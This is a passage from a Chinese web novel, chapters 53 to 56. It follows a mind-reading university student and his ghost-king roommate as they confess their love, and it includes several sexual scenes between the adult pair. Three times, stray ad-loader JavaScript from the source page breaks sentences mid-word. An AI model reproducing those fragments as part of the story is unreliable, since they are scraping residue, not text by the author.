在对方震惊的注视下,溪白还加了点力度,不轻不重地捏了一下。 “……” 溪白舔了舔唇,在自己混杂而慌乱的心跳声,还有感受清晰的上涌至脸颊的血液里,轻声开了口。 “你,不用我帮你了吗?” 顾弛的瞳孔,几乎在一瞬间就变成了竖形。 53.第 53 章 从被顾弛抱着困在墙角,再到被对方的手托着腰坐在桌上,最后不知怎么的又一起爬上了床。 等到结束的时候,溪白已经没力气地瘫在床上了。 这一次和以往的每一次都不一样,溪白今天的主动,像是点燃了顾弛心里的什么。 到最后的时候,他抱着溪白,灼热的呼吸一阵一阵地打在颈侧,几近咬着那染上了漂亮的红色的柔软耳朵,轻声说了一句。 “我也帮你。” 此时此刻,余韵仍在,溪白脑袋发白地陷在枕头里,望着天花板,眼前仿佛全是刚刚的一幕幕。 他悄悄看了身旁一眼,又收回视线。 明明都不是同时开始的。 为什么自己就这么快! 莫名出现的攀比心让他有些羞耻,溪白想要翻个身,却被按住了肩膀。 “我给你擦一下。”顾弛伸手抽了几张纸巾,“别流到床上了。” 溪白:…… 他到后面已经羞耻得一直躺着,只剩下喘气的份,主动权自然也已全部交了出去。 所以腹部上那一滩温热,不仅有溪白自己的,更多还是顾弛的。 感受了一下流量。 溪白默默地想:顾弛这家伙……从各种意义上来说都是怪物吧。 隔着纸巾,手掌带着温柔的力道将浊物尽数擦拭,手指偶尔不小心蹭过肌肤,带起一阵又一阵的颤栗。 溪白屡次不受控地将视线投去,但看到顾弛认真的表情时,又默默躺了回去。 这家伙究竟是怎么做到这么神色自然的。 从刚刚到现在,顾弛的耳朵都很红,但溪白却从没有在对方脸上看到一丝不自然或者别扭的神色。 仿佛两人做这种事,是天经地义一般。 溪白当然愿意和顾弛亲密,实话说,顾弛在刚刚的时间里,对他也是相当体贴。 但他和顾弛,在严格意义上来说只是室友。 虽然溪白因为能够读心,知道他们都在暗恋彼此,但是他们两个人之间,从实际来说,是没有任何“名分”的。 所以,眼下还有更重要的事情。 顾弛将湿漉漉的纸巾团好,又抽了两张干净的把脏污的纸团包裹起来。 正想把东西丢进床下的垃圾篓里,却见身旁的溪白比他先一步,坐了起来。 光源依旧只有那一盏昏暗的台灯,顾弛看着溪白的背影,很瘦。 刚刚在他怀里时,顾弛就觉得溪白太瘦了,腰细得他一只手掌都能覆盖住。 更别说手腕了,溪白失控地落着泪,去抓顾弛的手想要把人推开时,反而被顾弛轻而易举地一只手掌抓住了两只手腕。 手腕上凸出的骨节,漂亮分明,但又瘦得让人心疼。 以后一定要把人喂胖些,顾弛心里琢磨着。 正走神,他就听溪白叫自己。 顾弛坐了起来,想要离人近一些,可不止怎么的,手伸出去,溪白却躲开了。 诶? 顾弛的眼睛睁大了一些,染上几分无措和茫然,要放在平时,溪白肯定心软了。 可刚好此刻屋子里不亮堂,他看不见那双对他来说杀伤力过大的狗狗眼。 而且为了避免自己心软,溪白早就做好了准备,从一开始就是背对着顾弛的。 “顾弛。” 溪白的声音很平静,平静得甚至有些发冷。 顾弛伸出去一半的手就像是被冻住了似的,明明差一点就可以碰到那清瘦的肩膀,却迟迟没有落下。 他的喉结滚动了一下,想要说什么,但却最终归于沉默。 溪白停顿片刻,继续开口,说出了自己早已准备好,甚至在心里预演了很多次的那句话。 “你觉得我们是什么关系?” 关系? 顾弛被问得一愣,但答案比他的大脑走得还要快些。 他下意识地答了一句:“……室友?” …… …… 溪白扯过一旁自己的被子,挪腾到床脚,踩着床梯准备下床。 “溪白!” 顾弛赶紧去挽留,就算再迟钝,他也知道自己刚刚应该是说错了话。 溪白的确停了一下。 但顾弛甚至不敢去碰他。 “我希望你明白一件事。”溪白的声音里,带上了几分明显的生气。 读出这一情绪的顾弛,眼瞳甚至直接瞬间收缩成了一条线。 “我不是那种会和室友互帮互助的男生。”溪白依然背对着他。 声音因此好像蒙上了一层雾,听着不那么尖锐。 但落地的每一个字,都带着十足的力道,砸得顾弛心口发疼。 深吸一口气,溪白说出最后一句:“这种事情对我来说,太过暧昧了。” 说完,溪白抱着被子下了床。 踩在地面上的时候,他又想起一句,于是停下了脚步,补充道:“我回自己的床睡了,在你想清楚问题的答案之前,我觉得我们彼此都需要冷静一下。” 回到了久别小半年的床,溪白仰身躺下。 宿舍里过分安静了一会儿。 “……我的枕头。” 溪白捂着脸,强忍着羞耻发声。 很快,那边传来床梯被踩过时发出的声音。 溪白竖着耳朵听着,神经有些紧张,甚至不敢起身去看。 但最终他想象当中的事情并没有发生,顾弛没有爬上床,也没有说话。 他只是默默地将枕头放到了溪白的手边,然后沉默着,又回到了自己的床上。 像一只被抛弃后虽然伤心,但依旧很乖,不敢也不愿再来打扰的大型犬。 溪白承认,他心软了。 他甚至想直接拉着顾弛,让他把自己抱回那边床上。 但理智告诉溪白,绝对不可以这么做。 这一夜,溪白第一次觉得学校的供暖不太够。 要么,就是顾弛的体温太烫了,他早在不知不觉间已经习惯了。 而顾弛第一次觉得,溪白给自己挑的这张床,原来有那么宽。 空空荡荡的,和他胸膛里的那颗心一样。 彼此都听得见对方床铺上传来的翻来覆去,但直至天际拂晓,都没有任何一个人再说话。 顾弛睡醒的时候已经是中午。 他下意识地伸手往旁边抱,但第一次扑了个空。 睁开有些惺忪的眼,他终于回过神来,想起了昨天晚上发生的事情。 溪白已经出门了,宿舍里只剩下他一个人。 空空荡荡的,安静得令人心生寂寞。 明明在无边的幽冥之中独自生活了千、万年,但此时此刻,顾弛却前所未有地开始讨厌这种过分安静的感觉。 他面色沉郁地起了床,洗漱,换上衣服出了门。 天色很阴,没有太阳,黑蒙蒙的。 校园里没了人,也因此变得格外冷清,趁着阳气不是很足,各种阴物大白天的就敢偷偷探头,在建筑物和树木的阴影里边游荡着。 但很快小道消息跟疯了似地传开,本想透个风的阴物妖怪们就又重新缩了回去。 有几个胆子大的,躲在校道旁的树干后,探出个脑袋来看。 顾弛面无表情地在校道上走着,散发着令鬼心悸的气场。 他本不想理会,但奈何那些八卦的阴物就跟夏日里的鸣蝉似地叽叽喳喳个不停,以为压低了声音他就听不到,躲起来他就看不着。 于是顾弛烦躁地开口警告了一句。 “安静点。” 一瞬间,整个北城大学静谧得犹如一片死地。 顾弛:…… 烦。 不再跟那些被他一句话就吓得和鸡崽子似的阴物们再浪费时间,顾弛继续往前走。 思来想去,他决定还是去食堂看看。 看看,能不能碰到人。 食堂里仅有还在营业的窗口,只剩下小碗菜和麻辣烫两家。 吃饭的学生不多,零零散散地坐着,没见几个人影。 但动静却着实不小。 顾弛循声而去,在其他学生人为躲避空出来的一片区域里,他见到了一个熟人。 “弛哥!” 徐骁把手里的酒瓶往桌上一放,瓶底撞击桌板,发出砰的一声。 他扯着嗓子喊顾弛,眼睛都红了一圈,一个一米九的大男人,现在却哭得一把鼻涕一把泪的。 平心而论,在那些都不算太深交的同学里,徐骁应该算是顾弛社交圈里相对比较熟悉的一个了。 其实主要也是徐骁这人神经大条又自来熟,才能和顾弛多说上两句话。 但平日里一个糙的不行的大男人,今天却哭成这个样子,像是伤心至极。 心情恰好也不怎么样的顾弛,便也难得坐了下来。 “弛哥!”徐骁见顾弛在自己对面坐下,顿时大为感动,“你是来安慰我的吗!” 顾弛:…… “弛哥!我就知道你不是面上看着那么冷漠的人!!!” 没等顾弛回答,徐骁就直接自己续上了话头。 他从身旁的箱子里抽了瓶酒,往桌边一顶就撬开了瓶盖。 “来,咱们俩喝!” 顾弛看了一眼那冒着泡沫的瓶口,想了想,伸手。 双方轻轻碰了一下,顾弛浅浅抿了一口。 徐骁自己灌了半瓶,将空瓶子推到了一旁的酒瓶堆里,粗略一数,他已经自己闷喝了大半打了。 这是遇到什么事了? 顾弛心想着,去看徐骁。 不出他所料,不用他问,徐骁自己就会开始倒苦水。 “弛哥,你知道吗,我太难了!” 顾弛小口喝着酒看他,就见徐骁伸手往桌上一拍。 “我tm大过年的,一厢情愿被人当□□啊!草!!!” 顾弛的动作明显顿了一下。 而两人身旁不远处的一张桌,穿来一个男生被呛到后疯狂咳嗽的声音。 徐骁面色不善地看去,那男生赶紧端起面前的餐盘头也不回地走了。 顾弛放下手里的瓶子,看着面色哀戚的徐骁。 看样子,这家伙和他一样遇到了感情问题? 顾弛不知道徐骁的“那一位”是谁,徐骁似乎也没有意愿明说。 后者只是抓着酒瓶,整个人伏在桌面上,不停地用袖子磨蹭着双眼,含糊地说着什么。 “都那样了,为什么……” “明明昨晚还那么……开心,怎么突然这样对我。” “呜……我好委屈啊……” “连个机会都不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 给我吗!” 顾弛听他的反应,猜测到了大致的情况。 莫非徐骁和自己一样,同样也有个“互帮互助的人”。 思及溪白昨晚的冷淡,顾弛罕见地推己及人,体会到了人类情感之中“酸涩”的感觉。 他默默地又喝了一口酒,出言道:“嗯,我明白你的感受。” “……弛哥?”徐骁惊了一下,随即一脸动容。 顾弛居然安慰他! 他就说顾弛不是那些人嘴里说的冷漠的人吧! 于是,情况完全不同的两个人,开始坐在食堂里鸡同鸭讲。 - 徐骁:“那是我的第一次啊!” 顾弛:“事情转折往往就是一瞬间的事。” 他和溪白互帮互助都几次了。 溪白昨晚不还是突然就不开心了吗。 - 徐骁:“我问他喜不喜欢,他还说喜欢,我以为是喜欢我!” 徐骁:“我真恨啊,我真恨自己看不透他的心!更恨他读不懂我的心!!!” 顾弛叹气:“看透了也不一定是好事。” 他甚至第一次入梦就还被溪白戳读了心,戳穿了谎言,落得仓皇逃离的结果。 - 徐骁:“早上我问他是什么关系。” 顾弛:…… 徐骁捶桌:“他居然连名分都不给我!” 顾弛:……! 徐骁那头已经开始垂泪哭诉,顾弛则是从他的话里收到了启发,抓住了一些他从未注意到的“重点”。 所以……溪白是暗示他,两个人之间需要有一个名分? 好像就是这样! 大脑像是受到了点拨后的醍醐灌顶,顾弛越想越觉得这就是正确答案。 他之前过分开心于和溪白的亲密和“互帮互助”,作为一个鬼,还是一个单身了上千年从未动过心的鬼,对他来说只要能和溪白在一起就很高兴了。 但他忘记考虑的是,人类和鬼的认知观念是不一样的——这点谢必安在很早之前就暗示过他了。 徐骁抹了一把泪,举起手里的酒瓶子。 “来,弛哥,咱们干了这瓶!”他醉醺醺的,都快坐不直了,还要伸手去搭顾弛的肩膀,“为我们各自逝去的爱情,痛饮一杯!” 话没说完顾弛就把瓶子撂了,剩徐骁自己一个人啪叽一下趴在了桌子上。 他茫然地抬起头,只见到顾弛的一个背影,还有风中飘散的一句话。 “我还有事,先走了。” 他要迎接幸福去了,失去爱情的事让徐骁自己独享吧。 顾弛非常没有义气地想。 ※ 溪白回到宿舍的时候,只看到了空荡荡的房间。 他简单收拾了一下,换了套睡衣。 听见身后传来开门声的时候,溪白顿了一下,随即像什么也没听见一般,表情淡然地爬上了自己的床。 他躺下盖好被子,实则早在开始的那一刻就竖起了耳朵,听着来自下方的动静。 逐渐靠近的是脚步声,顾弛走到了床边。 布料窸窣是脱外套的声音,顾弛应该和往常一样把衣服搭在椅背上了。 然后就是踩床梯的声音,还有床架的轻微晃动感…… ……嗯? 不对。 溪白背对着外面,目光盯着面前雪白的墙壁。 他眨了眨眼:自己为什么会感受到床的晃动? 再回过神的时候,声音已经到了身后,床板也因为有重物落下而产生的变动感。 溪白的眼睛倏地睁圆了。 没等他反应过来,一只手臂带着熟悉的温度,还有从身后包裹而来的松木香气,紧紧地将整个人环抱住。 “你……” 溪白下意识地想要起身,却被人抱住。 他抓着顾弛的手腕往外掰开,想要挣扎,心里止不住地开始担心。 不会是刺激过头,把人刺激疯了吧! “溪白……” 带着浓浓委屈的一句呼唤,让溪白本能卸了手上力道的同时,也吃下了一颗定心丸。 还好,还好,听顾弛的语气,人应该没疯。 顾弛可不知道溪白把他的热切和主动当成了发疯的前兆。 他现在的心情同样也非常紧张。 感受溪白渐渐平缓下来的抗拒,他紧张地吞咽了一下。 “溪白。”顾弛开口,一字一句,皆拿出了十足的认真,说道,“我想明白了。” 想明白了? 溪白轻轻眨了眨眼。 “我……” 顾弛一闭眼,怕把人吓跑,手臂猛地用力将溪白抱紧。 “我喜欢你!” 只是揣着满心的慌乱和期待等待了良久,顾弛却并未听见回应。 溪白……为什么不说话? 他小心地睁眼看去。 就见溪白正涨红了脸,手指用力掰着他的胳膊。无奈力气太小,堪比蚍蜉撼树,而自己刚才又太紧张,胳膊上的那点力度他根本没注意到。 看脸色,溪白已经快要…… “勒死了……”溪白冲着身后还在呆愣的男人,用力挤出一句。 “……哦!!” 顾弛赶紧惊慌失措地把人给放开。 54.第 54 章 虽然说是把溪白放开了。 但顾弛的手还是半搭在溪白的腰侧,微微蜷起的手指,还有手背上清晰分明的青筋,都昭示着他的内心其实并不如表面上看起来那么淡定。 溪白将对方的小动作尽收眼底。 “所以你是在和我表白吗?”溪白问。 顾弛的表情明显紧绷了一下,他抿着唇,几乎是没有犹豫的,用力点了点头。 他回应后便一动也不敢动地看着怀里小小一只的人,等待溪白给出回答。 溪白笑了笑。 出乎顾弛意料的,他没有说答应,也没有说不答应。 一双白皙纤细的胳膊伸展开,轻轻地环住了顾弛的脖子。 溪白往那久别了十几个小时的宽阔怀抱里拱了拱,感受着熟悉的体温、气味和心跳。 “床好挤。”他说。 顾弛愣了一下,床好挤。 “那,那我们……”他不敢确定地开口。 溪白暗道一声笨。 “这场床我睡不惯了。”他看着顾弛,带着点无赖的小脾气说,“一个人睡,也睡不惯了。” 不管是哪一条,顾弛都是要负责的。 顾弛的眼睛越睁越大,他终于反应了过来:溪白答应他的表白了! 心口像是擂起了欢庆的鼓,咚咚咚地加速跳个不停。 两人一起回到了大床上,居然都纷纷产生了一种阔别已久的感觉。 虽然距离上次一起躺在这里,还不足24小时。 顾弛庆幸自己想明白了溪白的意思,否则可能真的要把人气跑了。 溪白也在庆幸顾弛反应够快,天知道他今天早上有多担心自己是不是玩脱了。 正想着,他的手突然被顾弛抓住。 溪白一顿,紧张地想是不是顾弛发现了什么。 但回过念头,他也没做什么不能让顾弛知道的事。 “溪白。”顾弛握着溪白的手,大号的手掌包裹着小号,他轻轻搓着指尖触及的那片柔软的肌肤,“我都和你表白了。” 潜台词很明显:溪白也要和他表个白。 这样才算公平。 溪白眨眨眼,视线移向一旁。 “不准躲!”顾弛难得展现出几分霸道的味道来,他另一只手扣着溪白的下巴,强迫对方看着自己。 明明做着这么“凶”的事情,但顾弛的脸上仍旧笑意盈盈,是那种溪白最熟悉,也最没有抵抗力的温暖微笑。 莫名幻视自己被一只壮壮的大型犬扑倒按着舔脸的场景,溪白害羞但又甜蜜地垂了垂眼睛。 “我也喜欢你。” 顾弛的尾巴好像摇起来了。 他放开溪白的下巴,将人紧紧抱在怀里——这一次吸取了刚刚的教训,力道刚刚好。 两人躺在一起,又刚互表了心意。 室内暧昧的温度悄然升高,往日里虽也是睡在同一张床,偶尔睡醒时也会搂着,但此刻的心态,和过去任何时候都不一样了。 溪白躺着躺着,手就开始不老实了。 顾弛一开始还没察觉,只幸福地闭着眼睛,搂着溪白贴贴。 但贴着贴着,他就觉得不太对。 自己胸口的衣服怎么漏风呢? 睁眼低头一看的时候,顾弛看到的就是猛地收回的一只手。 还有作怪的某人心虚移开视线的表情。 睡衣领口的扣子早就被偷偷解开了,衣领布料向两侧耷拉着,露出一片漂亮饱满的胸肌。 回忆一下,刚刚似乎有一根温凉的手指,在上面轻轻戳了几下。 “你喜欢就多·摸·两下。”顾弛说。 溪白睁大眼睛,就见顾弛来抓自己的手。 他做贼心虚想要起身跑路,但刚坐起来,腰就被一双有力的手臂从身后搂住了。 整个人向后栽倒,被拖进了顾弛的怀抱之中,顾弛甚至还用自己的腿压住了溪白的双腿,把人牢牢固定在了自己的怀里。 大面积的接触,带来的是极度清晰的体温触感和摩擦。 呼吸落在颈侧,温暖湿润,像是即将附上顾弛的唇,与他耳鬓厮磨。 溪白浑身的汗毛都竖起来了,他想要挣脱一点,但越是扭动身体挣扎,感知就越清晰。 等他僵硬着身体停下的时候。 顾弛已经变成了完全的状态了。 “溪白……” 嗓音是不同往日的低沉,像是柔软的鸿羽拂过耳畔,带来十足的听感刺激。 顾弛展现了一下自己精壮腰腹的灵活度,探了个头出来,让自己的和溪白的,热情十足地打了个招呼。 搂着腰的手开始不安分地往下。 “我也帮你,好不好?” 溪白看着顾弛浅褐色里燃烧着火焰的眼睛。 他认命地闭上眼。 顾弛这家伙,肯定给自己下蛊了! 两人一番亲密下来,都觉得心潮好似比以往更加汹涌澎湃。 或许是因为情意相通了,连看着对方因呼吸起伏而轻颤的睫毛,又或是隐忍时刻咬着唇时流露出的一丝快意,都在这不断升腾的雨露情愫之中,显得格外的令人情·动。 溪白看着顾弛搂着自己的手掌。 他有些害羞。 但又觉得好笑。 顾弛实在是纯情生涩得不得了,连到现在,最多都只是碰碰他。 连大起胆子来亲他都不敢。 想到这,溪白红了耳朵,他翻了个身,变成和顾弛面对面的状态。 引导着顾弛的手把握住两人热情接触着的,溪白看着眼睛都睁大,脸颊也红得不行的高大男生。 他腾出的两只手环住了顾弛的肩膀,倾身上去,在那因忍耐而自己咬出几处齿痕的唇瓣上,亲了一下。 蜻蜓点水似的吻,却足以感受到对方唇瓣上的柔软和温度。 分离前,溪白的舌尖还挑逗性地流连了片刻。 但下一秒,后背的去路却被人生生拦住了。 顾弛一只手横挡在溪白的后背上,他低头盯着怀里那张仰着与自己对视的脸蛋,眼睛泛上鲜红色的血丝。 溪白读懂了他的意思,一双眼睛带着笑意弯起,模仿着顾弛刚刚逗他时说的语气。 “你喜欢就多亲几……” 话还没说完,唇就被堵住了。 果然是大型犬,连亲吻都是用啃咬的。 “你轻……”溪白想要挣扎着提点两句,但食髓知味的顾弛哪里肯放开他一分一毫。 话还没说完,就被再度控制着,分毫不让地掠夺氧气。 真是坏狗…… 溪白晕晕乎乎的,在心里说了这么一句。 ※ 表过白,接了吻,也算是正式谈上恋爱了——在新一年到来的前夕。 除夕一早,溪白和顾弛就活力十足地把宿舍给布置了一遍。 贴春联之类的活,自然是顾弛包揽了下来,他的个子连梯子都不用借,一伸手就按倒门框上了。 “喝口奶茶。”溪白捧着奶茶杯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,把习惯送到顾弛面前,“辛苦啦。” 顾弛就着他的手喝了一口,又弯腰让溪白给他擦了擦额头上的汗。 手指碰到顾弛额头的时候,溪白清楚地听见了一句。 「好想亲亲他。」 视线失焦再聚集,溪白看着顾弛,对方已经准备继续去贴春联了。 至于他刚刚听到的心声,似乎也只是顾弛的一个念头,并没有要付诸行动,或者说他不太敢付诸行动的样子。 于是溪白冒出念头:自己是不是要主动出击一点。 身体行动比大脑要更快,他的手在想法出现之前的那一刻,已经先一步抓住了顾弛的衣袖。 “怎么了?”顾弛含着笑意看他。 溪白的耳朵红了红,他观察了一下四周。 走廊里空无一人,整栋楼也安静十分,于是他踮起脚。 彼此的唇一触即离,溪白再次站稳时,看见了顾弛眼底摇晃升腾起来的火光。 他不好意思地移开眼睛,“就,就是想亲一下。” 话未毕,他已经被顾弛搂住了腰。 担忧在走廊上被人撞见的话语还没说出来,顾弛的另一只手就拧着把手,将他带进了屋里。 后背贴上门板,溪白仰着脸,被亲得眼前一片水雾。 顾弛在舔他的嘴巴。 真的像大狗一样。 顾弛还咬他的舌头。 犬齿看起来尖尖的,咬着却不怎么疼。 他体温好热啊…… 溪白的意识越来越模糊,隐约之间,他听到窗帘被拉上的声音。 阴影覆下,自身前身后,他半脱力地被顾弛托着,整个人靠在门板上,大腿都有些软。 “春联,还没贴……”溪白声线的尾音都在颤抖,手掌推拒着顾弛的胸膛。 但明眼人都看得出,他的害羞远大于抗拒。 “没事。”顾弛将人按得更紧,“时间还早。” 溪白心说哪里还早了,你这家伙时间这么久。 但考虑到说出来可能会把顾弛刺激得更厉害,他最终还是选择把话跟其他的声音,一起隐忍地吞进了肚子里。 但很快,溪白就发现了一些让他更加羞耻到爆棚的事情。 每当他和顾弛亲密的时候,对方的心理活动就会变得异常活跃。 比如他现在耳边就萦绕着不少…… 「碰这里,溪白的睫毛会抖」 「碰这个地方会抱紧我……唔,他好可爱啊」 「诶,流了。」 「真可爱,好漂亮的颜色」 …… 溪白的耳朵发红发烫得要滴血了,他恨不得找块冰,或者直接把自己的耳朵揪下来。 免得像两个小火球一样,不停地发热发胀。 明明顾弛什么也没说,但溪白却什么都听得到。 这家伙表面上看着倒是乖巧又温柔,内心里的想法却直白刺激得要命。 而表现出来的,就是一言不发地做坏事。 折腾到溪白最后连眼泪都一起跟着流出来了,顾弛才放开他。 身材高大的男生搂着连身体皮肤都绯红一片的清瘦少年,温柔的啄吻接连从眼角落到唇瓣。 “溪白。” 大脑一片雾蒙蒙的溪白愣了愣,感受到颈侧的呼吸,才慢半拍地反应过来,这次真的是顾弛在说话。 而男生的下一句,是语言和心意共同的声音。 “我好喜欢你。” 「我好喜欢你」 55.第 55 章 早早洗了个澡,溪白换上了新年的衣服。 衣服是和顾弛一起去买的,当时他怀揣着点别的心思,“骗”顾弛一起买了同款。 谁能想一夕之间,同款就这么理直气壮的变成了“情侣款”。 溪白甚至还担心男生会不会问自己当初买同款是不是故意的,但观察了一下,大型犬虽然某些上头的时候坏了些,但在感情上总体还是笨笨的。 看不出他的小心思。 像现在,顾弛就穿着和他同款但大了3个号的外套,正调电脑上转播卫星电视的频道,准备看看今年的春晚有什么有意思的东西。 溪白懒洋洋地窝在椅子里,一只手搭在顾弛的椅子扶手上。 等人坐下来的时候,他的手果然被牵住了。 顾弛捏捏他的掌心。 “怎么了?”溪白语气也带着十足的慵懒。 也不是他矫情,就是有些累了。 今天一天被顾弛折腾了好几次,连刚刚一起洗澡的时候,都被这家伙给半推半就着……搞得溪白连春晚开幕都没看成! 坏狗! 溪白想着,轻轻打了顾弛一下。 偏那家伙被打了还很高兴似的,眼睛笑得更弯了。 用庄算的话说:给他打爽了。 是哦! 一想到这,溪白才想起来。 还没给朋友、长辈发拜年消息呢。 溪白要拜年的长辈非常少,他给自己的导师发了消息,又给庄算的父母也拜了年——之前溪白和他俩见过几次面,是人非常好的叔叔阿姨。 平日里庄算偶尔回家,庄妈妈都会让庄算带些自己烤的饼干甜品回来给溪白。 说了一圈贺词,又收了一圈红包。 溪白还给庄术庄算两兄弟发了消息,约他们找个时间出来吃个饭。 他给两人买的礼物,得送出去。 溪白本来还想给自己的好朋友分享脱单的喜讯的,但字敲了一半,还是删除了。 等当面见到了,吓庄算一下! 嘻嘻。 「好可爱啊」 顾弛就在旁边看着溪白一边打字一边嘻嘻笑,在导师群里抢红包抢到大额时更是笑眯眯,忍不住心里发出一句感慨。 溪白都已经被他可爱来可爱去的,可爱得都习惯了。 却没想顾弛心里还接了一句。 「我的宝宝」 溪白浑身的汗毛都立起来了。 绯红一下从颈后爬满了耳根,他伸手搓了搓耳朵,假意抬起头看了一眼暖气片。 “今年供暖还挺足。” 顾弛看了他一眼,像是想起了什么。 溪白有些紧张,还以为对方要做什么事,但顾弛只是从桌边摸过手机。 在屏幕上敲了一阵,顾弛示意溪白看手机。 溪白不解地切了聊天窗,看到顾弛给他发了两条消息,外显的一条是绒毛大狗的新表情包里的[新年快乐]。 刚刚溪白拜年的时候也发了很多这个,毛绒大狗套着很有新年氛围的红色项圈,尾巴上还绑了一圈红布,一边笑一边甩尾巴,看着就让人很开心。 溪白还以为顾弛给他转了什么拜年贺词,方便他转发给其他长辈呢。 结果点进去。 他看到了一个数值大得让他有些头晕目眩的转账。 [顾:【转账】新年快乐!] 溪白下意识地开始数数,个,十,百,千,万,十万,百万……金主爸爸! 他手一抖,赶紧把钱给顾弛转了回去。 “怎么了?”见他退还,顾弛还有些委屈似的,眉眼都耷拉下来。 溪白心说这当然得还,也不看看那是多少钱! 要是顾弛给他转个520之类的,他还能收下,大不了后面通过别的方式给顾弛买双鞋之类的还回去就是了。 转北城一套房都不止的数额。 他拿什么还?拿命啊! 顾弛道:“家里的钱,你来管,我不懂。” 他没说谎,虽然身为鬼王,他有着人间无法想象的金山银山,但是对于人间金额大小的认知,对钱的使用,顾弛都是一窍不通的。 溪白心说这钱估计也是顾弛父母留下的——他到现在还耿耿于怀自己不小心戳到顾弛“伤疤”,对方告诉他自己没有父母的事情——他怎么好乱收,还是这么大一笔金额。 见顾弛似乎还有意坚持,溪白只好道:“这样吧,等年后我和你去银行,把钱存起来,看看有没有什么大额存单或者债券。” 看顾弛应该也不是很了解这些金融产品的样子,他自己也不太懂,所以溪白想,存起来应该是风险最低,最保险的方法了。 顾弛点头,“好,听你的。” 反正溪白说什么就是什么了,只要让他陪在溪白身边,永远永远,就好了。 顾弛心想。 “哎。”溪白突然叹了口气。 顾弛立即坐直了身体,歪着头看他的表情:“怎么了?” 见对方如此紧张,溪白也有些小小的不好意思。 “没事,就是突然想起来,今年过年都没放烟火。” 为了防止污染,北城今年不允许燃放烟火炮竹,不论大小。 顾弛:“你想看烟火?” “其实也还好,就是想起很多年没玩了。”溪白随口说了一句。 小时候是没人和他玩。 今年身边有人了,却不让放了。 还是有些遗憾的。 顾弛看了他良久。 久到溪白又有些害羞了。 “快看,小品到了。”溪白指了指屏幕,从刚刚开始两人就顾着腻歪和说话, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 连一个节目都没看完过。 顾弛刚欲点头,突然动作一顿。 “怎么了?”溪白注意到他的反应。 顾弛摸了摸鼻子,“我下楼一趟……咳,拿个外卖。” “你点东西了?”溪白看了一眼时间,除夕夜,晚上九点,“你点了什么呀?” 他都没注意这个时间还有没有店铺开着。 “就买了点东西。”顾弛含糊答了一声,匆匆出门。 溪白坐在原地看着顾弛离开的背影,心说这是怎么了。 顾弛的身影拐过走廊,便化作了一团黑雾。 再次出现时,是在北城大学宿舍区的楼下,人工草坪边的一片树林里。 一道淡色的金光像是飘动的落叶,在前方指引着方向。 顾弛的脚步很快,蹙着眉头。 树林里一黑一白两个身影感受到气息时,顾弛已经悄然无声地到了他们身后了。 谢必安和范无赦连忙回身一礼,“见过殿下。” “唤我何事。”顾弛立即问了一句。 那引路的金光摇晃着飘落,停在顾弛的指尖上,犹如一只收敛起翅膀的蝴蝶——熟悉的人会知道,这是来自元神的传讯。 这消息来的突然,也来的急,顾弛刚刚在宿舍里就认出了上面的气息,来自面前的谢必安和范无赦。 两人上次来找还是因为无厢,但关于无厢的事情,因为庄术的意外出现,也算高高拿起,轻轻放下。 莫非是鬼牢又出现了什么问题? 鬼牢之下,关的都是些力量不弱的鬼,对于无厢的出逃,顾弛其实并不如表面上那么云淡风轻。 所以他刚刚才匆忙赶了出来。 谢必安和范无赦对视一眼,似乎是在交换什么讯息。 顾弛蹙眉,“有话快说。” 最终还是范无赦上前了半步。 “老板。” 顾弛眉毛一挑。 “那什么,我俩来就是给您说声新年快乐。”范无赦说着,不好意思地笑出一口白牙,抓了抓后脑勺。 “那什么…嘿嘿……今年的新年红包,还有吗?” …… ………… 顾弛深吸了一口气。 :) 人间过年,地府自然也一样,每年这个时候,顾弛都会给地府里的众鬼差们发放红封。 但不知为什么今年没有,鬼差们私下都讨论爆了。 所以,谢必安和范无赦就来问一下。 范无赦还笑得单纯,但谢必安这个比较熟悉人间,甚至经常上网冲浪的,却觉得气氛有些不对。 他悄悄凑近了同伴一点,压低声音。 “老范……” 谢必安看着顾弛。 老板的表情,怎么有点像那个什么……黄豆脸死亡微笑啊。 56.第 56 章 除夕夜打扰老板谈恋爱的下场,就是被暴揍一顿。 范无赦到最后也不明白自己为什么被打的,还直肠子地想要明示,被谢必安死死捂着嘴。 当然,鬼差们的压岁钱,顾弛还是给了的。 他这两天忙着和溪白……咳,都把这事情给忘了。 自己拿到了钱,兄弟挨了打。 谢必安松了口气,赶紧就想走。 “等等。”顾弛突然说了一句。 谢必安脚步一顿,额头冒出几滴冷汗。 不会自己也得…… “带彼岸花了吗?”顾弛问。 “哦!有的!”谢必安连忙从怀里拿出一朵盛放着的,犹如拖尾烟花般形状的花朵。 彼岸花开,花开彼岸,作为地府里唯一能见到的花,所有鬼差在出行时,都会带上一朵。 与人间将其和“死亡”绑定的认知不同,鬼差带着地府的花,象征着终有一日能“回到故里”。 顾弛轻轻一挥手,托于谢必安掌心之上的彼岸花,便慢慢飘到了他的面前。 将上面属于谢必安的气息抹去,顾弛盯着那鲜红如血的丝状花瓣看了许久。 他指尖轻轻一点,自花萼而起,整朵花逐渐褪色,从刺目的红,逐渐变成了纯洁无暇的白。 “对了。” 他将花收进怀里,又想起来什么。 谢必安连忙道:“殿下请说。” “正月十五上元,鬼市也可以开了。”顾弛想了想,说道。 谢必安一愣,随即立即点头,“属下明白,回去就安排。” 只是正当谢必安想要追问一点细节的时候,就见顾弛飞快看了一眼树林外。 下一秒,他的身影便从两个无常面前消失了。 属于人类的脚步声传来,谢必安和范无赦抬起头。 “诶,两位无常大人!”溪白远远定睛一看,抬手打了个招呼。 说完他又觉得不对,打量了一下,疑惑地开口,“黑无常大人,您的脸是怎么了?” 上次看的时候,没这么肿的啊? 范无赦被戳中了伤心事,跑一旁自闭去了。 谢必安笑呵呵地上前,弯腰施礼,“溪白小先生。” 关于顾弛和溪白的事情,谢必安可以说是知道的最多的了,因此面对着眼前的人,他当然是不敢怠慢。 经过几次的相处,溪白对黑白无常已经没有以往那么惧怕了。 于是他问了一句,“两位怎么在这,地府过年也要加班吗?” 谢必安嘴角抽了抽。 “咳,还是要巡视一下的,就准备回去了。” 溪白转念一想,即刻开始往怀里掏东西。 “两位大人辛苦,我这里有些香火……” 他本意是想加深些交情,后面有什么东西也好和黑白无常打听。 